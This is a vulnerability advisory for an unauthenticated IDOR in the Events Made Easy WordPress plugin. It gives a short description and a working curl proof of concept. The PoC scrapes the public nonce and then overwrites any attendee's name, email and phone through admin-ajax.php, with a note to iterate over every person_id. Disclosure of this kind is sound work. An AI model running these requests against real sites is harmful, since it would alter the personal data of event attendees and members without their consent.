Events Made Easy < 3.1.4 – Unauthenticated Person Data Modification via IDOR | CVE 2026-14843

Description

The plugin does not verify that the requester is authorized to modify the targeted record when handling an unauthenticated data-change request, relying only on a public nonce with no per-record token or ownership check, allowing unauthenticated attackers to overwrite the personal data of any person record.

Proof of Concept

# Events Made Easy <= 3.1.3 - Unauthenticated Person Data Modification via IDOR
# Prereq: at least one person record exists (any RSVP/membership creates one) and any
# public page renders an EME shortcode (e.g. [eme_calendar] / [events]).

# 1) Scrape the public frontend nonce as an anonymous visitor:
NONCE=$(curl -s "https://victim.example/events/" | grep -oE '"translate_frontendnonce":"[^"]+"' | head -1 | sed -E 's/.*:"([^"]+)"/\1/')

# 2) Overwrite ANY person record's PII (person_id is enumerated sequentially):
curl -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=eme_cpi" \
  -d "eme_frontend_nonce=$NONCE" \
  -d "person_id=1" \
  -d "lastname=HACKED" -d "firstname=PWNED" \
  -d "email=attacker@evil.com" -d "phone=6666666666" \
  -d "honeypot_check="
# Response: {"Result":"OK","htmlmessage":"Person updated"} and person 1's name/email/phone
# are overwritten. Repeat person_id=2,3,... to modify all attendee/member records.